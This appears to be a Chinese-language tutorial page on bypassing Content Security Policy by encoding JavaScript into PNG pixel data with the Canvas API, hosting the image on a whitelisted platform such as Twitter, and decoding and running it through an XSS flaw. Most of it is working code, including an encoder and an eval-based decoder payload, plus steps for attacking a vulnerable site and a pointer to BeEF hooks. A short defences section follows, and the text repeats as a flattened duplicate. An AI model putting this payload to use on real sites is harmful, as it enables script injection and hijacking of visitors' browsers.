如何将JavaScript隐藏在PNG图像中来绕过CSP
字数 1154 2025-08-20 18:17:47

利用PNG图像隐藏JavaScript绕过CSP的教学文档

技术概述

本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中,然后通过受信任的第三方平台(如Twitter)托管该图像,最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码,从而绕过内容安全策略(CSP)的限制。

核心原理

  1. Canvas图像编码:使用CanvasRenderingContext2D.putImageData()方法将JavaScript代码转换为图像数据
  2. 数据隐藏:将每个字符的Unicode值存储在图像的RGB通道中
  3. 数据提取:使用CanvasRenderingContext2D.getImageData()方法从图像中提取隐藏的代码
  4. CSP绕过:利用受信任的第三方平台(如Twitter)托管恶意图像,利用其CSP白名单权限

详细实现步骤

1. 将JavaScript代码编码为PNG图像

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

2. 从PNG图像中提取JavaScript代码

t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;

3. 上传图像到受信任平台

  1. 将生成的PNG图像上传到Twitter或其他CSP白名单中的平台
  2. 注意Twitter对图像大小有最小限制,可能需要添加填充内容

4. 利用XSS漏洞执行隐藏代码

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

5. 处理跨域问题

由于浏览器安全限制,需要为图像元素添加crossorigin="anonymous"属性,并且服务器必须返回Access-Control-Allow-Origin: *头。

实际攻击示例

  1. 找到存在XSS漏洞的网站,其CSP配置允许Twitter等受信任域
  2. 将恶意JavaScript编码为PNG图像并上传到Twitter
  3. 构造XSS payload,注入以下代码:

防御措施

  1. 严格CSP配置

    • 避免使用通配符(*)或过于宽松的域白名单
    • 避免使用unsafe-inlineunsafe-eval
    • 使用nonce或hash来限制内联脚本
  2. 输入验证

    • 对所有用户输入进行严格过滤和转义
    • 特别注意HTML属性注入
  3. 服务器配置

    • 谨慎设置CORS头
    • 对用户上传内容进行严格审查
  4. 内容审查

    • 监控和限制canvas API的使用
    • 检测异常的图像处理行为

工具与参考

  1. CSP评估工具 - 检查CSP配置安全性
  2. BeEF框架 - 可用于生成恶意hook.js
  3. Canvas API文档:

总结

这种技术利用了现代Web平台的多项特性组合,展示了即使有CSP保护,攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施,包括严格的CSP配置、输入验证和内容监控。

利用PNG图像隐藏JavaScript绕过CSP的教学文档 技术概述 本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中,然后通过受信任的第三方平台(如Twitter)托管该图像,最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码,从而绕过内容安全策略(CSP)的限制。 核心原理 Canvas图像编码 :使用 CanvasRenderingContext2D.putImageData() 方法将JavaScript代码转换为图像数据 数据隐藏 :将每个字符的Unicode值存储在图像的RGB通道中 数据提取 :使用 CanvasRenderingContext2D.getImageData() 方法从图像中提取隐藏的代码 CSP绕过 :利用受信任的第三方平台(如Twitter)托管恶意图像,利用其CSP白名单权限 详细实现步骤 1. 将JavaScript代码编码为PNG图像 2. 从PNG图像中提取JavaScript代码 3. 上传图像到受信任平台 将生成的PNG图像上传到Twitter或其他CSP白名单中的平台 注意Twitter对图像大小有最小限制,可能需要添加填充内容 4. 利用XSS漏洞执行隐藏代码 5. 处理跨域问题 由于浏览器安全限制,需要为图像元素添加 crossorigin="anonymous" 属性,并且服务器必须返回 Access-Control-Allow-Origin: * 头。 实际攻击示例 找到存在XSS漏洞的网站,其CSP配置允许Twitter等受信任域 将恶意JavaScript编码为PNG图像并上传到Twitter 构造XSS payload,注入以下代码: 防御措施 严格CSP配置 : 避免使用通配符(* )或过于宽松的域白名单 避免使用 unsafe-inline 和 unsafe-eval 使用nonce或hash来限制内联脚本 输入验证 : 对所有用户输入进行严格过滤和转义 特别注意HTML属性注入 服务器配置 : 谨慎设置CORS头 对用户上传内容进行严格审查 内容审查 : 监控和限制canvas API的使用 检测异常的图像处理行为 工具与参考 CSP评估工具 - 检查CSP配置安全性 BeEF框架 - 可用于生成恶意hook.js Canvas API文档: getImageData putImageData CORS enabled image crossorigin属性 总结 这种技术利用了现代Web平台的多项特性组合,展示了即使有CSP保护,攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施,包括严格的CSP配置、输入验证和内容监控。